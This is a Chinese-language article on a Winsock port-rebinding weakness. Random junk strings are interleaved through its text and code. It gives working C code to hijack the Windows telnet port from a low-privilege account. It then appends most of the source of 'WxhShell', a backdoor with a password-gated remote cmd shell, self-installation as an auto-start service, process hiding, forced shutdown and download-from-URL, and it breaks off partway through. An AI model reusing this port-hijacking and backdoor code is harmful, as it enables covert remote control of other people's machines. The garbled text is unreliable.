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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6v scu2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JT<JS6vw# 'tkQz saddr.sin_family = AF_INET; W!" $g v~AshmP saddr.sin_addr.s_addr = htonl(INADDR_ANY); k
t!@}QP I_Lm[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :/SGB3gb1t xv147"w'v 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p)Q5fh0- ;{wzw8! 这意味着什么?意味着可以进行如下的攻击: h5l_/vd pheu48/f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1Ci^e7|? ]QY-LO( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6||%T$_;} C[TjcHoA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c^H#[<6p f:P;_/cJc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 lz>.mXdx .1^Kk3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R(_WTs9x4 +Q5'!@8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $Sy}im\H lUq`tK8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y
cL((6A Z;+;_Cw #include LdiNXyyzet #include O+'k4 #include @JdeOL; #include 3:$@DZT$ DWORD WINAPI ClientThread(LPVOID lpParam); %kkDitmI{ int main() r&v!2A]: { <x<qO=lq WORD wVersionRequested; J<"Z6 '0v DWORD ret; t6e6v=.Pg WSADATA wsaData; Y/m-EL BOOL val; )iIsnM SOCKADDR_IN saddr; t vW0 W SOCKADDR_IN scaddr; \jZmu int err; B&KIM{j\ SOCKET s; BUi,+NdIk SOCKET sc; Cv>~%< int caddsize; ]3]B$ HANDLE mt; .8'uIA{_2 DWORD tid; $@^\zg1n wVersionRequested = MAKEWORD( 2, 2 ); H%=;pD>o err = WSAStartup( wVersionRequested, &wsaData ); 5xUZeLj if ( err != 0 ) { ey<z#Q5+ printf("error!WSAStartup failed!\n"); 07(LLhk@d return -1; {9P(U\]e]k } $Sm iN'7; saddr.sin_family = AF_INET; ~k@{b& u@Ni *)p` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1:DA{ejS 4Rp[>}L saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }(na)B{m saddr.sin_port = htons(23); B\=T_'E& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WT,dTn;W { -zt*C&)b printf("error!socket failed!\n"); %F-yFN" return -1; $_HyE%F# } 3S>rc0]6 val = TRUE; 0#Q]>V@rO4 //SO_REUSEADDR选项就是可以实现端口重绑定的 $LU|wW if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Mz)
r' { +WR'\15u printf("error!setsockopt failed!\n"); :zfMRg return -1; RcR-sbR } D&N3LH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vgNrHq&2q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h^WMv
*2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]w-W "K|':3n| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $Mx?Y9! { ]E.FBGT ret=GetLastError(); Ka)aBU9 printf("error!bind failed!\n"); 1csbuR? return -1; o {q8An) } WwKpZ67$R listen(s,2); 3-0jxx( while(1) b9b`%9/L { HyQ(9cn| caddsize = sizeof(scaddr); Mg^A,8lrm //接受连接请求 YWANBM(v+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pNQ@aJ if(sc!=INVALID_SOCKET) &=Y%4vq { 5Tidb$L;Du mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fo9V&NE if(mt==NULL) `J{{E,y
@ { h,fahbH- printf("Thread Creat Failed!\n"); :Xx7':5 break; -=u9>S)!c } #H8QX5b) } YAi@EvzCVy CloseHandle(mt); 9(a*0H } Q"LlBp>t|# closesocket(s); MpJ3*$Dr WSACleanup(); E%f!SD return 0; $S/WAw,/ } !.q#X^@>L DWORD WINAPI ClientThread(LPVOID lpParam) wv%UsfD { ph~#{B(\ SOCKET ss = (SOCKET)lpParam; d(Yuz#Qcrh SOCKET sc; M|.ykA<D unsigned char buf[4096]; %~Ymb&ugg SOCKADDR_IN saddr; Cq\{\!6[ long num; VdL }$CX$ DWORD val; Kt"4<' DWORD ret; Us>n`Lj@ //如果是隐藏端口应用的话,可以在此处加一些判断 ]h=y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :`@W`V?6- saddr.sin_family = AF_INET; W3MH8z
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V<n#%!M5gV saddr.sin_port = htons(23); JJ_KfnH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gp{Z]{io { gi? wf printf("error!socket failed!\n"); |Y+[_D} return -1; [Fd[( } *unJd"<*&@ val = 100; _z"\3hZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z= pvoTY { PB{5C*Y7^k ret = GetLastError(); Dx P65wU return -1; $*9:a3>zny } /hGu42YG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Zp^X:( { `|[UF^9 ret = GetLastError(); HN&]`cr; return -1; o107. s } o|VM{5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3-![%u { *+ O printf("error!socket connect failed!\n"); o-AAx#@ closesocket(sc); A1jA$ closesocket(ss); V#DNcF~v]f return -1; O;#0Yg } "[ >ql1t{b while(1) Op iVQr: { lYrW"(2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <+`}:
A //如果是嗅探内容的话,可以再此处进行内容分析和记录 |e&hm
~R1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Hn?v/3 num = recv(ss,buf,4096,0); xl@ if(num>0) &!8u4*K5j send(sc,buf,num,0); ?)/H8n else if(num==0) +|O&k break; ? ,!C0t s num = recv(sc,buf,4096,0); qd
[Z\B if(num>0) UO>S2u send(ss,buf,num,0); /.1h_[K] else if(num==0) &<5oDdC break; =I)Ex) } _M[T8 "e( closesocket(ss); (ZK(ODn)i closesocket(sc); _8?r!D#P;s return 0 ; f{R/rb&iB } 1uc;:N G= @|7e~U S#Pni}JD ========================================================== Q"`J-#L ^Pc&`1Ap 下边附上一个代码,,WXhSHELL G^w:c] [V,f@}m
F ========================================================== J|o )c~ R<8!lQ4s #include "stdafx.h" OQsF$%* >Co5_sCe #include <stdio.h> ;e^`r;] #include <string.h> iD!]I$ #include <windows.h> 2-u9% #include <winsock2.h> f(*^zga, #include <winsvc.h> )}R
w@70L- #include <urlmon.h> Q-f?7*> Gn?<~8a #pragma comment (lib, "Ws2_32.lib") z_ia3k< #pragma comment (lib, "urlmon.lib") ?(j:F2dU~ cpBTi #define MAX_USER 100 // 最大客户端连接数 Lc13PTz>>g #define BUF_SOCK 200 // sock buffer oyo
V1jO #define KEY_BUFF 255 // 输入 buffer Z|$OPMLX }JBLzk5| #define REBOOT 0 // 重启 {o.i\"x; #define SHUTDOWN 1 // 关机 +#
tmsv]2 VH$hQPP5d #define DEF_PORT 5000 // 监听端口 ]s:%joj%^ #vvQ1ub #define REG_LEN 16 // 注册表键长度 AU^5N3%j #define SVC_LEN 80 // NT服务名长度 !qVnziE,, I> 3]VRi // 从dll定义API p EbyQ[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S9S%7pE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xy1R_*.F^T typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $<s
3;>t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %C(^v)" si3@R?WR6* // wxhshell配置信息 =G%L:m* struct WSCFG { XVkCYh4, int ws_port; // 监听端口 Kh2!c+Mw char ws_passstr[REG_LEN]; // 口令 );5H<[ int ws_autoins; // 安装标记, 1=yes 0=no kG$U char ws_regname[REG_LEN]; // 注册表键名 vTUhIFa{ char ws_svcname[REG_LEN]; // 服务名 H~r":A'"* char ws_svcdisp[SVC_LEN]; // 服务显示名 Lkl^
` char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mi&jl_& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TbA=bkj[4 int ws_downexe; // 下载执行标记, 1=yes 0=no \ POQeZ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" X=i",5; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Br6!U4~ g\lEdxm6Sj }; vmK`QPu2 $[DSe~ // default Wxhshell configuration l^%W/b>?b struct WSCFG wscfg={DEF_PORT, K';x2ffj "xuhuanlingzhe", :f5"w+ 1, [}t^+^/ "Wxhshell", mR6hnKa_53 "Wxhshell", ]<IK0 "WxhShell Service", $:SSm$k "Wrsky Windows CmdShell Service", % /Y; "Please Input Your Password: ", w [7vxQ!- 1, {pyTiz#JY " http://www.wrsky.com/wxhshell.exe", B`<K]ut "Wxhshell.exe" ?hS&OtW
}; c.eA]m q fjm(C#^- // 消息定义模块 s+OXT4>+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jQrw^6C char *msg_ws_prompt="\n\r? for help\n\r#>"; EgT?Hvx: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @Lf-=9 char *msg_ws_ext="\n\rExit."; g<$q#l~4xH char *msg_ws_end="\n\rQuit."; TQg~I/ char *msg_ws_boot="\n\rReboot..."; % #$K P char *msg_ws_poff="\n\rShutdown..."; }MXC0Z~si char *msg_ws_down="\n\rSave to "; A
2Rp X(*MHBd char *msg_ws_err="\n\rErr!"; wPrqFpf char *msg_ws_ok="\n\rOK!"; /[RO>Z9 #[.aj2 char ExeFile[MAX_PATH]; | )M>;q int nUser = 0; o6T'U#7P HANDLE handles[MAX_USER]; @J UCXm int OsIsNt; #cy;((z uB NANgV~Y& SERVICE_STATUS serviceStatus; k~=_]sLn SERVICE_STATUS_HANDLE hServiceStatusHandle; *'jI>^o 5VR=D\j // 函数声明 qz6@'1 int Install(void); GPs// int Uninstall(void); ;2jH;$HZ int DownloadFile(char *sURL, SOCKET wsh); /Mmts=^Ja int Boot(int flag); Y~[k_! void HideProc(void); 5Gw B1}q int GetOsVer(void); ::R5F4 int Wxhshell(SOCKET wsl); \qj(`0HG void TalkWithClient(void *cs); SM8Wg> int CmdShell(SOCKET sock); 0S71&I$u] int StartFromService(void); G24Ov&H int StartWxhshell(LPSTR lpCmdLine); 7/b\NLeJ' FH7h?!|t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ee\QK,QV VOID WINAPI NTServiceHandler( DWORD fdwControl ); #$0*Gd-N !}PZCbDhL // 数据结构和表定义 BMs?+ SERVICE_TABLE_ENTRY DispatchTable[] = w9]HJ3qi { 2U.'5uA"L {wscfg.ws_svcname, NTServiceMain}, ;G|#i?JJ {NULL, NULL} yeqHeZ }; !
n13B xka&,`z // 自我安装 H=v=)cUe[ int Install(void) ]m<z { >&%#`PKT char svExeFile[MAX_PATH]; VtnVl`/] HKEY key; PJ3M,2H1b. strcpy(svExeFile,ExeFile); iV2v<ap.n }NpN<C+ // 如果是win9x系统,修改注册表设为自启动 wlsq[xP if(!OsIsNt) { )wyC8` &- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,y}@I" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^ZPynduR RegCloseKey(key); {U"=}j( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d`9ofw~3= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4U>g0 RegCloseKey(key); :Fh#"<A&& return 0; l#bE_PD; } BHN EP |= } MmQ"z_v } 7 F> a&r else { K;j0cxl 45A|KaVpg // 如果是NT以上系统,安装为系统服务 gJBw6'Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v+(-\T\i if (schSCManager!=0) pPsT,i? { I_\?w SNGM SC_HANDLE schService = CreateService buKSZ ( F4DJML-( schSCManager, ToR@XL!%rP wscfg.ws_svcname, w:aV2 wscfg.ws_svcdisp, 9%Qlg4~<s SERVICE_ALL_ACCESS, W$xW9u8@+( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [P*zm 8b SERVICE_AUTO_START, {4eI}p< SERVICE_ERROR_NORMAL, k&lfxb9pd svExeFile, /tj_WO_ NULL, j:E3c\a NULL, #
11<=3Yj NULL, rT(b t~Z NULL, RQYD#4| NULL (f;.`W ); tUi@'%>=5 if (schService!=0) {Y|?~ha# { ^h!}jvqE CloseServiceHandle(schService); *i>hFNLdOM CloseServiceHandle(schSCManager); V3(8?Fz. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b_f"(l8'S strcat(svExeFile,wscfg.ws_svcname); y({lE3P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aC94g7)` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x>tsI}C RegCloseKey(key); L~Y^O`c return 0; 'RhS%l } 7}y@VO6] } 9(OeH7 CloseServiceHandle(schSCManager); 'S9o!hb'@ } f6yj\qq] } "]kzt ux 4}k@p>5v' return 1; y`L.#5T } F[SZwMf29 xr]bH.> // 自我卸载 E:dN) int Uninstall(void) ZI;*X~h { (,jsZ!sl HKEY key; n6.Z{Q'b `2LmLFkb if(!OsIsNt) { tgl(*[T2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2oV6#!{Z RegDeleteValue(key,wscfg.ws_regname); ?jUgDwc(w RegCloseKey(key); RXg\A!5GV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A&p@iE*/ RegDeleteValue(key,wscfg.ws_regname); ib#rT{e RegCloseKey(key); }e/vKWfT return 0; `4snTM!v& } IN<nZ?D# } OylUuYy~j } yj#FO'UY else { ZS4dW_*[ yo->mD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *$|f9jVh if (schSCManager!=0) ^|p D(v { nOd;Zw SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s>I]_W)Pt if (schService!=0) J$42*S Y { Zi+F IQ( if(DeleteService(schService)!=0) { u"(NN9s CloseServiceHandle(schService); Y'~O_coG CloseServiceHandle(schSCManager); LKp;sV return 0; #n{4f1TZ } V^R,j1* CloseServiceHandle(schService); " "m-5PGYo } 9
@ < CloseServiceHandle(schSCManager); 6E
K <9M }
ar\|D\0V } d/j?.\ >'W,8F return 1; YVa,?&i=N } ;`LG WT-<F 2wB*c9~ // 从指定url下载文件 f_n int DownloadFile(char *sURL, SOCKET wsh) k(^TXUK\o { bRyxP2 HRESULT hr; }q]*aADe char seps[]= "/"; k<Gmb~Tg1 char *token; 4gC(zJ char *file; 6`Y:f[VB char myURL[MAX_PATH]; ``k[CgV char myFILE[MAX_PATH]; Vm\zLWNB ukEJ D3i strcpy(myURL,sURL); ;lb token=strtok(myURL,seps); r>ed/<_>m; while(token!=NULL) 9v`sSTlSd { 8Cp@k= file=token;
l$\B>u,> token=strtok(NULL,seps); \P+^BG! } LYL_Ah'= B-w`mcqp$ GetCurrentDirectory(MAX_PATH,myFILE); ()Kaxcs?+ strcat(myFILE, "\\"); kN1R8| pv strcat(myFILE, file); "*D9.LyM send(wsh,myFILE,strlen(myFILE),0); {+_p?8X send(wsh,"...",3,0); M^Z=~512g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !KOa'Ic$V if(hr==S_OK) e,p*R?Y{[ return 0; [(_,\:L${ else "Zhh>cz return 1; ;z9,c I50LysM } }=R0AKz!Cv !9NF@e'&! // 系统电源模块 frPQi{u$ int Boot(int flag) y[.lfW?) { UakVmVN/P HANDLE hToken; |3E|VGm~ TOKEN_PRIVILEGES tkp;
0LL65[ \
[OB. if(OsIsNt) { J5Zz*'av' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %G2g
@2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W`vPf tkp.PrivilegeCount = 1; ysG1{NOl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CKZEX*mPC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Yq_B+IC if(flag==REBOOT) { eL"'-d+] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~A5NseWCK return 0; o96c`a u } "IQYy~
/ else { 2;>uP#1] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *bYU=RS return 0; goyDG/ } *&Iv Eu } ?'a>?al%> else { R\3v=PR[ if(flag==REBOOT) { -Q J8\/1> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hy;V~J# return 0; FO[ s;dmzu } ,N,@9p else { Ih.)iTs~% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LlgFQfu8 return 0; ZG1TRF " } w@R" g%k- } k=kkF" z.RM85 ?T return 1; >6&Rytcc] } w/ZP.B &F#eYEuy // win9x进程隐藏模块 XX90Is void HideProc(void) "2-D[rYZ { DeW{#c6 g.!k>_g` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P8h|2,c% if ( hKernel != NULL ) XaE*$: { cy?#LS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =2(52#pT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dQrz+_ FreeLibrary(hKernel); .
4RU'9M } NpM;vO <w*WL_P return; ?8s$RYp14 } *v(Q-FW (U$;0` // 获取操作系统版本 tj*0Y-F~ int GetOsVer(void) [OOQ0c~ { /3hY[#e OSVERSIONINFO winfo; #b)`as?!1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l+&DBw[ GetVersionEx(&winfo); Mr4,?Z&`-d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ' e!WZvr return 1; -CFy
else iyR"O1] return 0; 9dAtQwGR"6 } `S-%}eUv +!ljq~% // 客户端句柄模块 n,s7!z/ int Wxhshell(SOCKET wsl) 4,R"(ej { *CQZ6&^ SOCKET wsh; "WtYqXyd struct sockaddr_in client; ^jRX6 DWORD myID; `s+kYWg'Z \5j}6Wj while(nUser<MAX_USER) aY.cx1" { Q1yXdw int nSize=sizeof(client); :t "_I wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {fV$\^c if(wsh==INVALID_SOCKET) return 1; %#&njP ;-"q;&1e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0!0o[3* if(handles[nUser]==0) A1Uy|Dl closesocket(wsh); B1U!*yzG6 else GNrRc3dr$ nUser++; l.
cp[ } cvT@`1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H
n]( )/ ?tqJkL# return 0; YjL'GmL< } v?,@e5GZ [MbbL // 关闭 socket W)T'?b'. void CloseIt(SOCKET wsh) D{y7[#$h$ { Eld[z{n" closesocket(wsh); [N9yWuc nUser--; P{QHG 3 ExitThread(0); z'1%%.r;FM } S|@/"?DC |`o1B;lc // 客户端请求句柄 w8 UUeF void TalkWithClient(void *cs) t18j2P>` { xb0,dZb #%E^cGfY SOCKET wsh=(SOCKET)cs;
!j% char pwd[SVC_LEN]; ?mK&Slh. char cmd[KEY_BUFF]; 3pW4Ul@e char chr[1]; H-u
SdT int i,j; |=,jom HYT~AO-! while (nUser < MAX_USER) { T=sAy/1oR |xg#Q`O if(wscfg.ws_passstr) { coPdyw'9& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f##/-NG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H%rNQxA2 + //ZeroMemory(pwd,KEY_BUFF); 5|pF*8* i=0; #$2/< while(i<SVC_LEN) { }
d8\ Jg LA2/<: // 设置超时 &hL2xx= fd_set FdRead; (^g XO struct timeval TimeOut; &)||~ FD_ZERO(&FdRead); I"3C/ pU2 FD_SET(wsh,&FdRead); VMJaL}J] TimeOut.tv_sec=8; ybFxz TimeOut.tv_usec=0; \.H9e/vU` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eu_ZsseZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]sVWQj I"lzOD; eI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aTeW#:m pwd =chr[0]; @0t[7Nv-1 if(chr[0]==0xd || chr[0]==0xa) { $)9|"q6 pwd=0; "cBqZzkk9j break; @b^$h:H } 4L{]!dox i++; > 3(,s^ } VX8CEO whHuV*K} // 如果是非法用户,关闭 socket 39P55B/o% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6\K\d_x } <? !' CqZHs
9+e& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i+~BVb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2?Jw0Wq5D .S/zxf~h while(1) { 0}`-vOLd- ##xvuLy-6 ZeroMemory(cmd,KEY_BUFF); 3Os0<1@H t[X^4bZd // 自动支持客户端 telnet标准 \**j\m j=0; !yrh50tD while(j<KEY_BUFF) { 0wV9Trp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ."B{U_P& cmd[j]=chr[0]; %3#C0%{x if(chr[0]==0xa || chr[0]==0xd) { BQg3+w:> cmd[j]=0; c6c@XdV break; o}/|"(K } Ma$~B0!;s j++; l*&N<Yu } "qR, V9\ S!z3$@o // 下载文件 J+
S]Qoz if(strstr(cmd,"http://")) { rQ]JM send(wsh,msg_ws_down,strlen(msg_ws_down),0); F4z#u2~TC if(DownloadFile(cmd,wsh)) QQV8Vlv" send(wsh,msg_ws_err,strlen(msg_ws_err),0); =MJB: else ~XuV:K3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YCxwIzIR } *xsBFCRU else { ysIhUpd R*lq7n9 switch(cmd[0]) { nC%qdzT C<(oaeQY // 帮助 YOGj__: case '?': { 0\ (:y^X send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E JuTv%Y8 break; S-gO } {dpDQP +! // 安装 sHk>ek]2I case 'i': { P3|s}& if(Install()) HSROgBNI: send(wsh,msg_ws_err,strlen(msg_ws_err),0); HNBmq>XDc else &b5(Su send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0^o/cSF break; jED.0,+K! } y||RK`H // 卸载 _Q
I!UQdW case 'r': { *.|%uf. if(Uninstall()) t $Rc
0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); [
fzYC'A= else bl^Ihza send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .yXqa"p break; F/>\uzu } |%XTy7^a // 显示 wxhshell 所在路径 SiX<tj#HH\ case 'p': { o#f"wQH;p char svExeFile[MAX_PATH]; pUqC88*j strcpy(svExeFile,"\n\r"); 3s%ND7!/ strcat(svExeFile,ExeFile); hPBBXj/= send(wsh,svExeFile,strlen(svExeFile),0); fpo{`;&F break; 7(.Z8AO } X`Q+,tx$ // 重启 I(pq3_9$ case 'b': { x@rQ7K> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -2J37 if(Boot(REBOOT)) 0g|5s send(wsh,msg_ws_err,strlen(msg_ws_err),0); vZTXvdF else { ^-k"gLg closesocket(wsh); Po@;PR= ExitThread(0); =r ^_D= }
Fl=H5HR break; UiH7 } @g5y_G{SP // 关机 ]&Y^ case 'd': { 5{V"!M+< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nv36#^Z if(Boot(SHUTDOWN))
iD_y@+iz send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQ4L~8 else { G|1.qHP[F closesocket(wsh); XxmWj-=qO ExitThread(0); 4{zy)GE|W } |3,WiK=' break; IV. })8 } #c@&mus // 获取shell \uPzj_kU6 case 's': { 7mMGH( CmdShell(wsh); nD*iSb* closesocket(wsh); uWdF7|PN7 ExitThread(0); 04|ZwX$>+ break; <.4(#Ebd } NC-K`) // 退出 _`\!+qGq case 'x': { YWH>tt9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;NRh0)%|o CloseIt(wsh); klm>/MXI` break; >bZ-mX)j\0 } Ei @ // 离开 \/3(>g?4 case 'q': { nI6ompTX send(wsh,msg_ws_end,strlen(msg_ws_end),0); !mUJ["# closesocket(wsh); ^)>( <6 WSACleanup(); PtW2S 1?j exit(1); wX]$xZ!s break; [d[w/@ } 2'S&%UyP } pPRX#3 } +8//mrL_/ `Fr ,,Q81\ // 提示信息 -GPBX? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iG6]Pr|;e } {HEWU<5 } R~oJ-}iYX IXa~,a H71 return; OmWEa } f't.?M K)LoZ^x0) // shell模块句柄 mv8H:T int CmdShell(SOCKET sock) Gr2}N"X= { t(*n[7e STARTUPINFO si; 6Oy:5Ps8a ZeroMemory(&si,sizeof(si)); 0@zJa;z' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?(=|!`IoO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :gwmk9LZ PROCESS_INFORMATION ProcessInfo; oa"Bpi9i char cmdline[]="cmd"; I &iyj99n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JL87a^ro return 0; WkA47+DsV } (t@)`N{ wz:e\ ! // 自身启动模式 d5gwc5X int StartFromService(void) # `E { Cb{D[ typedef struct m6e(Xk,) { :P_h_Tizv DWORD ExitStatus; 8+oc4~!A@n DWORD PebBaseAddress; 7w)8s DWORD AffinityMask; jD S\ DWORD BasePriority; ]w6F%d ULONG UniqueProcessId; 3?FY?Q[ ULONG InheritedFromUniqueProcessId; $mM"C+dD } PROCESS_BASIC_INFORMATION; x&;AY $mGzJ4& PROCNTQSIP NtQueryInformationProcess; VX.LL
5 Bn&P@C$7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8m
iJQIq static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^;PjO|mD
